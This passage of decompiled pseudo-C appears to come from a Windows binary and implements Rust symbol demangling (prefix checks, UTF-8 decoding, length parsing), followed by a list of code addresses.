																										_t858 =  <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9;
																										__eflags = ( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) - 0xf;
																										if(( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) > 0xf) {
																											goto L320;
																										} else {
																											goto L317;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	} else {
																		L481:
																		_t928 = _t758;
																		_push(0x6ec2f010);
																		L486:
																		_push(_t1055);
																		_push(0);
																		E6EC09620(_t825, _t928);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L487:
																		_t820 = _v264;
																		_t924 = _t1001;
																		_push(0x6ec2f0c0);
																		_push(_t1001);
																		L488:
																		_push(_t1055);
																		E6EC09620(_t820, _t924);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L489:
																		_t583 = E6EC09980(_t758, _t1001, _t1055, __eflags);
																		asm("ud2");
																		L490:
																		E6EC09620(_t820, _t924, _t583, _t924, 0x6ec2f084);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L491:
																		_t821 = _t1055;
																		_t925 = _t1001;
																		_push(0x6ec2f034);
																		L496:
																		_push(_t1001);
																		_push(1);
																		E6EC09620(_t821, _t925);
																		asm("ud2");
																		L497:
																		E6EC09620(_t1055, _t1001, 2, _t1001, 0x6ec2f054);
																		asm("ud2");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		_t587 = _v256;
																		return  *((intOrPtr*)( *((intOrPtr*)(_t587 + 0x1c)) + 0xc))( *((intOrPtr*)(_t587 + 0x18)), "SizeLimitExhausted", 0x12);
																	}
																}
															}
														}
														goto L498;
													}
												}
												L470:
												_t558 = 0;
												__eflags = 0;
												goto L471;
											} else {
												_v224 = 0;
												_v220 =  *((intOrPtr*)(_t556 + 4));
												_v216 =  *((intOrPtr*)(_t556 + 8));
												_v212 = 0;
												_v208 = 0;
												_v204 = _t918;
												_v200 = 0;
												_t558 = E6EBE4AE0( &_v224);
												L471:
												return _t558;
											}
										} else {
											_t58 = _t910 + 1; // 0x1
											_t755 = _t58;
											_t758 =  *(_v160 + _t910) & 0x000000ff;
											_t1142 = _t758 -  *((intOrPtr*)(_t998 + _t910));
											_t910 = _t755;
											if(_t1142 == 0) {
												continue;
											} else {
												_t989 = _v156;
												_v164 = 0;
												_t998 = _t995 + _v124 + _t755;
												goto L9;
											}
										}
										goto L498;
									}
									_t998 = _t995;
									_t911 = _v136;
									_t996 = _v156;
									asm("o16 nop [eax+eax]");
									while(1) {
										__eflags = _v164 - _t911;
										if(_v164 >= _t911) {
											break;
										}
										_t902 = _t911 - 1;
										__eflags = _t902 - _v144;
										if(__eflags >= 0) {
											L234:
											_t916 = _v144;
											_push(0x6ec2f700);
											goto L235;
										} else {
											_t758 = _t902 + _t998;
											_t1055 = _t996;
											__eflags = _t758 - _t996;
											if(__eflags >= 0) {
												_t902 = _t758;
												_t916 = _t1055;
												_push(0x6ec2f710);
												goto L235;
											} else {
												_t751 = _v160;
												_t997 = _v148;
												__eflags = ( *(_t751 + _t902) & 0x000000ff) -  *((intOrPtr*)(_t997 + _t758));
												_t996 = _t1055;
												if(( *(_t751 + _t902) & 0x000000ff) ==  *((intOrPtr*)(_t997 + _t758))) {
													continue;
												} else {
													_t998 = _t998 + _v132;
													_v164 = _v128;
													goto L9;
												}
											}
										}
										goto L498;
									}
									L39:
									_t809 = _v152;
									_t1055 = _t998 + 6;
									__eflags = _t1055;
									if(_t1055 == 0) {
										L44:
										__eflags = _t1055 - _a4;
										if(_t1055 != _a4) {
											_t983 = _v152;
											_v140 = _t998;
											_t895 = _t983 + _a4;
											_t1087 = _t1055 + _t983;
											do {
												_t758 =  *_t1087 & 0x000000ff;
												_t704 = _t1087 + 1;
												_t984 = _t758 & 0x000000ff;
												__eflags = _t758;
												if(_t758 < 0) {
													__eflags = _t704 - _t895;
													if(_t704 == _t895) {
														_t1042 = 0;
														_t1055 = _t895;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 > 0xdf) {
															goto L55;
														} else {
															goto L60;
														}
													} else {
														_t1048 =  *(_t1087 + 1) & 0x000000ff;
														_t1087 = _t1087 + 2;
														_t1042 = _t1048 & 0x0000003f;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 <= 0xdf) {
															L60:
															_t988 = _t985 << 6;
															goto L63;
														} else {
															L55:
															__eflags = _t1055 - _t895;
															if(_t1055 == _t895) {
																_t1055 = _t895;
																_t1044 = _t1042 << 6;
																__eflags = _t758 - 0xf0;
																if(_t758 >= 0xf0) {
																	goto L57;
																} else {
																	goto L62;
																}
															} else {
																_t1087 = _t1055 + 1;
																_t1042 = _t1042 << 0x00000006 |  *_t1055 & 0x3f;
																__eflags = _t758 - 0xf0;
																if(_t758 < 0xf0) {
																	L62:
																	_t988 = _t985 << 0xc;
																	__eflags = _t988;
																	L63:
																	_t984 = _t988 | _t1042;
																	_t998 = _v140;
																	goto L67;
																} else {
																	L57:
																	__eflags = _t1055 - _t895;
																	if(_t1055 == _t895) {
																		_t706 = 0;
																		__eflags = 0;
																		_t1087 = _t895;
																	} else {
																		_t1087 = _t1055 + 1;
																		_t706 =  *_t1055 & 0x3f;
																	}
																	_t1047 = _t1044 << 0x00000006 | (_t985 & 0x00000007) << 0x00000012 | _t706;
																	__eflags = _t1047 - 0x110000;
																	_t984 = _t1047;
																	_t998 = _v140;
																	if(_t1047 == 0x110000) {
																		goto L45;
																	} else {
																		asm("o16 nop [cs:eax+eax]");
																		goto L67;
																	}
																}
															}
														}
													}
												} else {
													_t1087 = _t704;
													L67:
													_t152 = _t984 - 0x41; // -65
													__eflags = _t152 - 6;
													if(_t152 < 6) {
														goto L50;
													} else {
														__eflags = _t984 - 0x30;
														if(_t984 < 0x30) {
															goto L71;
														} else {
															__eflags = _t984 - 0x3a;
															if(_t984 < 0x3a) {
																goto L50;
															} else {
																__eflags = _t984 - 0x40;
																if(_t984 == 0x40) {
																	goto L50;
																} else {
																	goto L71;
																}
															}
														}
													}
												}
												goto L498;
												L50:
												__eflags = _t1087 - _t895;
											} while (_t1087 != _t895);
											goto L45;
										} else {
											L45:
											__eflags = _t998;
											if(_t998 == 0) {
												L215:
												_t808 = 3;
												goto L216;
											} else {
												_t1055 = _a4;
												__eflags = _t998 - _t1055;
												_v160 = _t1055;
												if(__eflags >= 0) {
													_t916 = _v152;
													if(__eflags == 0) {
														goto L72;
													} else {
														goto L89;
													}
												} else {
													_t916 = _v152;
													__eflags =  *((char*)(_t916 + _t998)) - 0xbf;
													if( *((char*)(_t916 + _t998)) <= 0xbf) {
														L89:
														_t809 = _t916;
														_t917 = _a4;
														_push(0x6ec2f4bc);
														_push(_t998);
														_push(0);
														goto L242;
													} else {
														_v160 = _t998;
														L72:
														__eflags = _v160 - 3;
														if(_v160 >= 3) {
															__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f;
															if(( *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f) == 0) {
																__eflags = _v160 - 4;
																_t758 = 0xfffffffd;
																_t806 = 3;
																if(_v160 < 4) {
																	_v160 = 3;
																	goto L93;
																} else {
																	__eflags =  *((char*)(_t916 + 3)) - 0xbf;
																	if( *((char*)(_t916 + 3)) > 0xbf) {
																		goto L93;
																	} else {
																		_t809 = _t916;
																		_t917 = _v160;
																		_push(0x6ec2ef80);
																		goto L241;
																	}
																}
															} else {
																goto L76;
															}
														} else {
															__eflags = _v160 - 2;
															_t808 = 3;
															_v160 = 2;
															if(_v160 == 2) {
																L76:
																__eflags = ( *_t916 & 0x0000ffff) - 0x4e5a;
																if(( *_t916 & 0x0000ffff) == 0x4e5a) {
																	__eflags = _v160 - 3;
																	_t758 = 0xfffffffe;
																	_t806 = 2;
																	if(_v160 < 3) {
																		_v160 = 2;
																		goto L93;
																	} else {
																		__eflags =  *(_t916 + 2) - 0xbf;
																		if( *(_t916 + 2) > 0xbf) {
																			goto L93;
																		} else {
																			_t809 = _t916;
																			_t917 = _v160;
																			_push(0x6ec2ef90);
																			goto L238;
																		}
																	}
																} else {
																	__eflags = _v160 - 4;
																	if(_v160 < 4) {
																		L160:
																		__eflags = _v160 - 3;
																		if(_v160 < 3) {
																			__eflags = _v160 - 2;
																			_t808 = 3;
																			if(_v160 != 2) {
																				goto L216;
																			} else {
																				__eflags =  *_t916 - 0x52;
																				_v160 = 2;
																				if( *_t916 != 0x52) {
																					goto L216;
																				} else {
																					goto L170;
																				}
																			}
																		} else {
																			goto L161;
																		}
																	} else {
																		__eflags =  *_t916 - 0x4e5a5f5f;
																		if( *_t916 != 0x4e5a5f5f) {
																			L161:
																			__eflags = ( *_t916 & 0x0000ffff) - 0x525f;
																			if(( *_t916 & 0x0000ffff) == 0x525f) {
																				_t685 =  *(_t916 + 2);
																				__eflags = _t685 - 0xbf;
																				if(_t685 <= 0xbf) {
																					_t809 = _t916;
																					_t917 = _v160;
																					_push(0x6ec2f138);
																					L238:
																					_push(_t917);
																					_push(2);
																					goto L242;
																				} else {
																					_t863 = _t916 + 2;
																					_t780 = 0xfffffffe;
																					__eflags = _t685 + 0xbf - 0x19;
																					if(_t685 + 0xbf > 0x19) {
																						goto L215;
																					} else {
																						goto L175;
																					}
																				}
																			} else {
																				__eflags =  *_t916 - 0x52;
																				if( *_t916 == 0x52) {
																					L170:
																					_t553 =  *((intOrPtr*)(_t916 + 1));
																					__eflags = _t553 - 0xbf;
																					if(_t553 <= 0xbf) {
																						goto L236;
																					} else {
																						_t863 = _t916 + 1;
																						_t780 = 0xffffffff;
																						__eflags = _t553 + 0xbf - 0x19;
																						if(_t553 + 0xbf <= 0x19) {
																							goto L175;
																						} else {
																							goto L215;
																						}
																					}
																				} else {
																					__eflags = _v160 - 3;
																					_t808 = 3;
																					if(_v160 <= 3) {
																						goto L216;
																					} else {
																						__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x00000052 |  *_t916 & 0x0000ffff ^ 0x00005f5f;
																						_t808 = 3;
																						if(( *(_t916 + 2) & 0x000000ff ^ 0x00000052 |  *_t916 & 0x0000ffff ^ 0x00005f5f) != 0) {
																							goto L216;
																						} else {
																							_t689 =  *((intOrPtr*)(_t916 + 3));
																							__eflags = _t689 - 0xbf;
																							if(_t689 <= 0xbf) {
																								L240:
																								_t809 = _t916;
																								_t917 = _v160;
																								_push(0x6ec2f158);
																								L241:
																								_push(_t917);
																								_push(3);
																								goto L242;
																							} else {
																								_t863 = _t916 + 3;
																								_t780 = 0xfffffffd;
																								__eflags = _t689 + 0xbf - 0x19;
																								if(_t689 + 0xbf <= 0x19) {
																									L175:
																									_t758 = _t780 + _v160;
																									_t665 = 0;
																									asm("o16 nop [cs:eax+eax]");
																									while(1) {
																										__eflags = _t758 - _t665;
																										if(_t758 == _t665) {
																											break;
																										}
																										__eflags =  *((char*)(_t863 + _t665));
																										_t665 = _t665 + 1;
																										if(__eflags >= 0) {
																											continue;
																										} else {
																											goto L215;
																										}
																										goto L498;
																									}
																									_v104 = 0;
																									_v100 = _t863;
																									_v144 = _t863;
																									_v96 = _t758;
																									_v88 = 0;
																									_v92 = 0;
																									_v80 = 0;
																									_v84 = 0;
																									__eflags = E6EBE4AE0( &_v104);
																									if(__eflags != 0) {
																										L239:
																										_t916 = 0x3d;
																										E6EC095A0(_t758, "`fmt::Error`s should be impossible without a `fmt::Formatter`", 0x3d, __eflags,  &_v32, 0x6ec2eec4, 0x6ec2f1b8);
																										_t1124 = _t1124 + 0xc;
																										asm("ud2");
																										goto L240;
																									} else {
																										__eflags = _v104 - 1;
																										_t963 = _v152;
																										if(_v104 == 1) {
																											goto L215;
																										} else {
																											_t866 = _v96;
																											_t669 = _v92;
																											_t998 = _v100;
																											__eflags = _t669 - _t866;
																											if(_t669 >= _t866) {
																												L218:
																												_v164 = _t998;
																												goto L219;
																											} else {
																												_v156 = _t866;
																												__eflags =  *((intOrPtr*)(_t998 + _t669)) + 0xbf - 0x1a;
																												if( *((intOrPtr*)(_t998 + _t669)) + 0xbf >= 0x1a) {
																													_t866 = _v156;
																													goto L218;
																												} else {
																													_v104 = 0;
																													_v100 = _t998;
																													_v96 = _v156;
																													_v92 = _t669;
																													_v84 = 0;
																													_v80 = 0;
																													__eflags = E6EBE4AE0( &_v104);
																													if(__eflags != 0) {
																														goto L239;
																													} else {
																														__eflags = _v104 - 1;
																														_t963 = _v152;
																														_t808 = 3;
																														if(_v104 == 1) {
																															goto L216;
																														} else {
																															_t866 = _v96;
																															_v164 = _v100;
																															_t669 = _v92;
																															L219:
																															__eflags = _t669;
																															if(_t669 == 0) {
																																L224:
																																_v164 = _v164 + _t669;
																																_t867 = _t866 - _t669;
																																_v136 = 1;
																																__eflags = _t867;
																																if(_t867 != 0) {
																																	goto L188;
																																} else {
																																	goto L225;
																																}
																																goto L216;
																															} else {
																																__eflags = _t866 - _t669;
																																if(__eflags <= 0) {
																																	if(__eflags != 0) {
																																		goto L222;
																																	} else {
																																		goto L224;
																																	}
																																} else {
																																	_t998 = _v164;
																																	__eflags =  *((char*)(_t998 + _t669)) - 0xbf;
																																	if( *((char*)(_t998 + _t669)) > 0xbf) {
																																		goto L224;
																																	} else {
																																		L222:
																																		_t917 = _t866;
																																		_t809 = _v164;
																																		_push(0x6ec2f168);
																																		_push(_t866);
																																		_push(_t669);
																																		goto L242;
																																	}
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								} else {
																									goto L215;
																								}
																							}
																						}
																					}
																				}
																			}
																		} else {
																			__eflags = _v160 - 5;
																			_t758 = 0xfffffffc;
																			_t806 = 4;
																			if(_v160 < 5) {
																				_v160 = 4;
																				goto L93;
																			} else {
																				__eflags =  *((char*)(_t916 + 4)) - 0xbf;
																				if( *((char*)(_t916 + 4)) > 0xbf) {
																					L93:
																					_t758 = _t758 + _v160;
																					_t807 = _t806 + _t916;
																					__eflags = _t807;
																					_v144 = _t807;
																					_v156 = _t807 + _t758;
																					_t551 = _t758;
																					while(1) {
																						__eflags = _t551;
																						if(_t551 == 0) {
																							break;
																						}
																						_t551 = _t551 - 1;
																						__eflags =  *_t807;
																						_t807 = _t807 + 1;
																						if(__eflags >= 0) {
																							continue;
																						} else {
																							goto L160;
																						}
																						goto L498;
																					}
																					__eflags = _t758;
																					if(_t758 == 0) {
																						goto L160;
																					} else {
																						_t691 = _v144;
																						_v148 = _t758;
																						_t967 =  *_t691;
																						_v164 = _t691 + 1;
																						_t998 = _t967 & 0x000000ff;
																						__eflags = _t967;
																						if(_t967 >= 0) {
																							L112:
																							_t963 = _v152;
																						} else {
																							_t1055 = _v156;
																							_t694 = 0;
																							__eflags = _t758 - 1;
																							if(_t758 != 1) {
																								_t700 = _v144;
																								_t1055 = _t700 + 2;
																								_v164 = _t1055;
																								_t694 =  *(_t700 + 1) & 0x3f;
																								__eflags = _t694;
																							}
																							_t1037 = _t998 & 0x0000001f;
																							__eflags = _t967 - 0xdf;
																							if(_t967 <= 0xdf) {
																								_t998 = _t1037 << 0x00000006 | _t694;
																								goto L112;
																							} else {
																								_t894 = _v156;
																								__eflags = _t1055 - _t894;
																								if(_t1055 == _t894) {
																									_t789 = 0;
																									__eflags = 0;
																									_t1055 = _t894;
																								} else {
																									_t790 =  *_t1055 & 0x000000ff;
																									_t1055 = _t1055 + 1;
																									_v164 = _t1055;
																									_t789 = _t790 & 0x0000003f;
																								}
																								_t696 = _t694 << 0x00000006 | _t789;
																								__eflags = _t967 - 0xf0;
																								if(_t967 < 0xf0) {
																									_t963 = _v152;
																									_t758 = _v148;
																									_t998 = _t1037 << 0x0000000c | _t696;
																								} else {
																									__eflags = _t1055 - _v156;
																									if(_t1055 == _v156) {
																										_t981 = 0;
																										__eflags = 0;
																									} else {
																										_t982 =  *_t1055 & 0x000000ff;
																										_t1055 = _t1055 + 1;
																										_v164 = _t1055;
																										_t981 = _t982 & 0x0000003f;
																									}
																									_t758 = _v148;
																									_t699 = _t696 << 0x00000006 | (_t1037 & 0x00000007) << 0x00000012 | _t981;
																									__eflags = _t699;
																									_t998 = _t699;
																									goto L112;
																								}
																							}
																						}
																						_t881 = _v156;
																						__eflags = _t998 - 0x45;
																						_v136 = 0;
																						if(_t998 == 0x45) {
																							_v140 = 0;
																							goto L187;
																						} else {
																							__eflags = _t998 - 0x110000;
																							if(_t998 != 0x110000) {
																								_v140 = 0;
																								while(1) {
																									L116:
																									_t998 = _t998 + 0xffffffd0;
																									__eflags = _t998 - 9;
																									if(__eflags > 0) {
																										goto L160;
																									}
																									_t692 = 0;
																									while(1) {
																										_t968 = _t692 * 0xa >> 0x20;
																										_t692 = _t692 * 0xa + _t998;
																										_t883 = 0 | __eflags > 0x00000000;
																										if(__eflags != 0) {
																											break;
																										}
																										_t916 = _v152;
																										__eflags = _t883;
																										if(_t883 != 0) {
																											goto L160;
																										} else {
																											_t998 = _v164;
																											__eflags = _t998 - _v156;
																											if(_t998 == _v156) {
																												goto L160;
																											} else {
																												_t786 =  *_t998 & 0x000000ff;
																												_t884 = _t998 + 1;
																												_t970 = _t786 & 0x000000ff;
																												__eflags = _t786;
																												if(_t786 < 0) {
																													_t1029 = _v156;
																													__eflags = _t884 - _t1029;
																													_t881 = _t1029;
																													if(_t884 == _t1029) {
																														_t1030 = 0;
																														_v164 = _t881;
																														_t971 = _t970 & 0x0000001f;
																														__eflags = _t786 - 0xdf;
																														if(_t786 <= 0xdf) {
																															goto L118;
																														} else {
																															goto L130;
																														}
																													} else {
																														_t1055 = _t881;
																														_t892 = _v164;
																														_v164 = _t892 + 2;
																														_t881 = _t1055;
																														_t1030 =  *(_t892 + 1) & 0x3f;
																														_t971 = _t970 & 0x0000001f;
																														__eflags = _t786 - 0xdf;
																														if(_t786 <= 0xdf) {
																															L118:
																															_t758 = _v148;
																															_t970 = _t971 << 0x00000006 | _t1030;
																															__eflags = _t970;
																															asm("o16 nop [cs:eax+eax]");
																															goto L119;
																														} else {
																															L130:
																															_t1076 = _v164;
																															__eflags = _t1076 - _t881;
																															if(_t1076 == _t881) {
																																_t1055 = 0;
																																_v164 = _t881;
																																_t1032 = _t1030 << 6;
																																__eflags = _t786 - 0xf0;
																																if(_t786 >= 0xf0) {
																																	goto L132;
																																} else {
																																	goto L135;
																																}
																															} else {
																																_v164 =  &(_t1076[1]);
																																_t1055 =  *_t1076 & 0x3f;
																																_t1032 = _t1030 << 0x00000006 | _t1055;
																																__eflags = _t786 - 0xf0;
																																if(_t786 < 0xf0) {
																																	L135:
																																	_t970 = _t971 << 0x0000000c | _t1032;
																																	goto L125;
																																} else {
																																	L132:
																																	_t889 = _v156;
																																	_t1077 = _v164;
																																	_t758 = _v148;
																																	__eflags = _t1077 - _t889;
																																	if(_t1077 == _t889) {
																																		_t1055 = 0;
																																		__eflags = 0;
																																		_v164 = _t889;
																																	} else {
																																		_v164 =  &(_t1077[1]);
																																		_t1055 =  *_t1077 & 0x3f;
																																	}
																																	_t881 = _v156;
																																	_t998 = _t1032 << 0x00000006 | (_t971 & 0x00000007) << 0x00000012 | _t1055;
																																	__eflags = _t998 - 0x110000;
																																	_t970 = _t998;
																																	if(_t998 != 0x110000) {
																																		goto L119;
																																	} else {
																																		break;
																																	}
																																}
																															}
																														}
																													}
																												} else {
																													_v164 = _t884;
																													L125:
																													_t758 = _v148;
																													_t881 = _v156;
																													L119:
																													_t998 = _t970 - 0x30;
																													__eflags = _t998 - 0xa;
																													if(__eflags >= 0) {
																														_t998 = _v164;
																														__eflags = _t692;
																														if(_t692 != 0) {
																															while(1) {
																																__eflags = _t998 - _t881;
																																if(_t998 == _t881) {
																																	goto L159;
																																}
																																_t787 =  *_t998 & 0x000000ff;
																																_t1055 = _t998 + 1;
																																_t970 = _t787 & 0x000000ff;
																																__eflags = _t787;
																																if(_t787 >= 0) {
																																	_t758 = _v148;
																																	_t998 = _t1055;
																																	goto L143;
																																} else {
																																	__eflags = _t1055 - _t881;
																																	if(_t1055 == _t881) {
																																		_t1055 = 0;
																																		_t998 = _t881;
																																		_t973 = _t970 & 0x0000001f;
																																		__eflags = _t787 - 0xdf;
																																		if(_t787 > 0xdf) {
																																			goto L148;
																																		} else {
																																			goto L151;
																																		}
																																	} else {
																																		_t1085 =  *(_t998 + 1) & 0x000000ff;
																																		_t998 = _t998 + 2;
																																		_t1055 = _t1085 & 0x0000003f;
																																		_t973 = _t970 & 0x0000001f;
																																		__eflags = _t787 - 0xdf;
																																		if(_t787 <= 0xdf) {
																																			L151:
																																			_t758 = _v148;
																																			_t970 = _t973 << 0x00000006 | _t1055;
																																			goto L143;
																																		} else {
																																			L148:
																																			__eflags = _t998 - _t881;
																																			if(_t998 == _t881) {
																																				_t998 = _t881;
																																				_t885 = 0;
																																				__eflags = 0;
																																			} else {
																																				_t888 =  *_t998 & 0x000000ff;
																																				_t998 = _t998 + 1;
																																				_t885 = _t888 & 0x0000003f;
																																			}
																																			_t1055 = _t1055 << 0x00000006 | _t885;
																																			__eflags = _t787 - 0xf0;
																																			if(_t787 < 0xf0) {
																																				_t758 = _v148;
																																				_t881 = _v156;
																																				_t970 = _t973 << 0x0000000c | _t1055;
																																				goto L143;
																																			} else {
																																				_t788 = _v156;
																																				__eflags = _t998 - _t788;
																																				if(_t998 == _t788) {
																																					_t886 = 0;
																																					__eflags = 0;
																																					_t998 = _t788;
																																				} else {
																																					_t887 =  *_t998 & 0x000000ff;
																																					_t998 = _t998 + 1;
																																					_t886 = _t887 & 0x0000003f;
																																				}
																																				_t758 = _v148;
																																				_t1055 = _t1055 << 0x00000006 | (_t973 & 0x00000007) << 0x00000012 | _t886;
																																				_t881 = _v156;
																																				__eflags = _t1055 - 0x110000;
																																				_t970 = _t1055;
																																				if(_t1055 != 0x110000) {
																																					L143:
																																					_t692 = _t692 - 1;
																																					__eflags = _t692;
																																					if(_t692 == 0) {
																																						goto L140;
																																					} else {
																																						continue;
																																					}
																																				} else {
																																					goto L159;
																																				}
																																			}
																																		}
																																	}
																																}
																																goto L498;
																															}
																															break;
																														} else {
																															L140:
																															_v164 = _t998;
																															_v140 = _v140 + 1;
																															__eflags = _t970 - 0x45;
																															_t998 = _t970;
																															_t916 = _v152;
																															if(_t970 != 0x45) {
																																goto L116;
																															} else {
																																L187:
																																_t867 = _t881 - _v164;
																																__eflags = _t867;
																																if(_t867 == 0) {
																																	L225:
																																	_t1025 = 0;
																																	__eflags = 0;
																																	goto L226;
																																} else {
																																	L188:
																																	_t670 = _v164;
																																	__eflags =  *_t670 - 0x2e;
																																	if( *_t670 != 0x2e) {
																																		goto L215;
																																	} else {
																																		_v148 = _t758;
																																		_v156 = _t867;
																																		_t868 =  &(_t670[_t867]);
																																		_t781 = 0x2e;
																																		_t1069 = _t670;
																																		_t964 =  &(_t1069[1]);
																																		__eflags = 0x2e;
																																		if(0x2e >= 0) {
																																			L205:
																																			_t1019 = _t781 & 0x000000ff;
																																			goto L206;
																																		} else {
																																			L192:
																																			_t783 = _t781 & 0x0000001f;
																																			__eflags = _t964 - _t868;
																																			if(_t964 == _t868) {
																																				_t1020 = 0;
																																				_t964 = _t868;
																																				_t1070 = _t783 & 0x000000ff;
																																				__eflags = _t783 - 0xdf;
																																				if(_t783 > 0xdf) {
																																					goto L194;
																																				} else {
																																					goto L199;
																																				}
																																			} else {
																																				_t964 =  &(_t1069[2]);
																																				_t1020 = _t1069[1] & 0x3f;
																																				_t1070 = _t783 & 0x000000ff;
																																				__eflags = _t783 - 0xdf;
																																				if(_t783 <= 0xdf) {
																																					L199:
																																					_t1019 = _t1020 | _t1070 << 0x00000006;
																																					goto L206;
																																				} else {
																																					L194:
																																					__eflags = _t964 - _t868;
																																					if(_t964 == _t868) {
																																						_t964 = _t868;
																																						_t1022 = _t1020 << 6;
																																						__eflags = _t783 - 0xf0;
																																						if(_t783 >= 0xf0) {
																																							goto L196;
																																						} else {
																																							goto L201;
																																						}
																																					} else {
																																						_t676 =  *_t964 & 0x000000ff;
																																						_t964 =  &(_t964[1]);
																																						_t1022 = _t1020 << 0x00000006 | _t676 & 0x0000003f;
																																						__eflags = _t783 - 0xf0;
																																						if(_t783 < 0xf0) {
																																							L201:
																																							_t1019 = _t1022 | _t1070 << 0x0000000c;
																																							goto L206;
																																						} else {
																																							L196:
																																							__eflags = _t964 - _t868;
																																							if(_t964 == _t868) {
																																								_t784 = 0;
																																								__eflags = 0;
																																								_t964 = _t868;
																																							} else {
																																								_t785 =  *_t964 & 0x000000ff;
																																								_t964 =  &(_t964[1]);
																																								_t784 = _t785 & 0x0000003f;
																																							}
																																							_t1019 = _t1022 << 0x00000006 | (_t1070 & 0x00000007) << 0x00000012 | _t784;
																																							__eflags = _t1019 - 0x110000;
																																							if(_t1019 != 0x110000) {
																																								L206:
																																								__eflags = (_t1019 & 0xffffffdf) + 0xffffffbf - 0x1a;
																																								if((_t1019 & 0xffffffdf) + 0xffffffbf < 0x1a) {
																																									L213:
																																									__eflags = _t964 - _t868;
																																									if(_t964 != _t868) {
																																										_t781 =  *_t964;
																																										_t1069 = _t964;
																																										_t964 =  &(_t1069[1]);
																																										__eflags = _t781;
																																										if(_t781 >= 0) {
																																											goto L205;
																																										} else {
																																											goto L192;
																																										}
																																									} else {
																																										goto L214;
																																									}
																																								} else {
																																									_t300 = _t1019 - 0x30; // -48
																																									__eflags = _t300 - 0xa;
																																									if(_t300 < 0xa) {
																																										goto L213;
																																									} else {
																																										_t301 = _t1019 - 0x21; // -33
																																										__eflags = _t301 - 0xf;
																																										if(_t301 < 0xf) {
																																											goto L213;
																																										} else {
																																											_t302 = _t1019 - 0x3a; // -58
																																											__eflags = _t302 - 7;
																																											if(_t302 < 7) {
																																												goto L213;
																																											} else {
																																												_t303 = _t1019 - 0x5b; // -91
																																												__eflags = _t303 - 6;
																																												if(_t303 < 6) {
																																													goto L213;
																																												} else {
																																													__eflags = _t1019 + 0xffffff85 - 3;
																																													if(_t1019 + 0xffffff85 > 3) {
																																														goto L215;
																																													} else {
																																														goto L213;
																																													}
																																												}
																																											}
																																										}
																																									}
																																								}
																																							} else {
																																								L214:
																																								_t963 = _v152;
																																								_t758 = _v148;
																																								_t1025 = _v156;
																																								L226:
																																								_t675 = _v108;
																																								 *(_t675 + 4) = _v144;
																																								 *(_t675 + 8) = _t758;
																																								 *(_t675 + 0xc) = _v140;
																																								 *((intOrPtr*)(_t675 + 0x10)) = _t963;
																																								 *((intOrPtr*)(_t675 + 0x14)) = _v160;
																																								 *(_t675 + 0x18) = _v164;
																																								_t808 = _v136;
																																								 *(_t675 + 0x1c) = _t1025;
																																							}
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																}
																																goto L216;
																															}
																														}
																													} else {
																														continue;
																													}
																												}
																											}
																										}
																										goto L498;
																									}
																									L159:
																									_t916 = _v152;
																									goto L160;
																								}
																							}
																							goto L160;
																						}
																					}
																				} else {
																					_t809 = _t916;
																					_t917 = _v160;
																					_push(0x6ec2efa0);
																					_push(_v160);
																					_push(4);
																					goto L242;
																				}
																			}
																		}
																	}
																}
															} else {
																L216:
																_t552 = _v108;
																 *_t552 = _t808;
																return _t552;
															}
														}
													}
												}
											}
										}
									} else {
										__eflags = _t1055 - _a4;
										if(__eflags >= 0) {
											if(__eflags != 0) {
												goto L42;
											} else {
												goto L44;
											}
										} else {
											__eflags =  *((char*)(_t809 + _t1055)) - 0xbf;
											if( *((char*)(_t809 + _t1055)) > 0xbf) {
												goto L44;
											} else {
												L42:
												_t917 = _a4;
												_push(0x6ec2f4ac);
												_push(_a4);
												_push(_t1055);
												goto L242;
											}
										}
									}
								}
								goto L498;
								L9:
								_t1055 = _v148;
								_t906 = _t998 + _v116;
							} while (_t906 < _t989);
							goto L71;
						}
					}
				}
				L498:
			}

0x6ebea6d0
0x6ebea6d1
0x6ebea6d3
0x6ebea6d4
0x6ebea6d5
0x6ebea6df
0x6ebea6e7
0x6ebea6eb
0x6ebea6ed
0x6ebea6f2
0x6ebea6f5
0x6ebea6fa
0x6ebea702
0x6ebea78a
0x6ebea795
0x6ebea7a0
0x6ebea7a4
0x6ebea7a9
0x6ebea7b0
0x6ebea7b0
0x6ebea7b5
0x6ebea7b7
0x00000000
0x6ebea7bd
0x6ebea7bd
0x00000000
0x6ebea7bd
0x6ebea708
0x6ebea708
0x6ebea70c
0x6ebea710
0x6ebea714
0x6ebea71f
0x6ebea723
0x6ebea727
0x6ebea72b
0x6ebea72f
0x6ebea8d8
0x6ebea8dc
0x6ebea8e0
0x6ebea8e2
0x6ebea8f0
0x6ebea8f4
0x6ebea8fc
0x6ebea900
0x6ebea904
0x6ebea908
0x6ebea90b
0x6ebea90f
0x6ebea919
0x6ebea91d
0x6ebea923
0x6ebea927
0x6ebea92b
0x6ebea92f
0x6ebea93b
0x6ebea944
0x6ebea948
0x6ebea968
0x6ebea968
0x6ebea97c
0x6ebea984
0x6ebea987
0x6ebea98a
0x6ebea98e
0x6ebea992
0x6ebea992
0x6ebea994
0x6ebea94e
0x6ebea94e
0x6ebea952
0x00000000
0x6ebea996
0x6ebea996
0x6ebea99a
0x6ebea9a0
0x6ebea9a4
0x6ebea9b0
0x6ebea9b0
0x6ebea9b4
0x00000000
0x00000000
0x6ebea9bc
0x6ebea9be
0x6ebeb356
0x6ebeb358
0x6ebeb35c
0x6ebeb35e
0x00000000
0x6ebea9c4
0x6ebea9c4
0x6ebea9cd
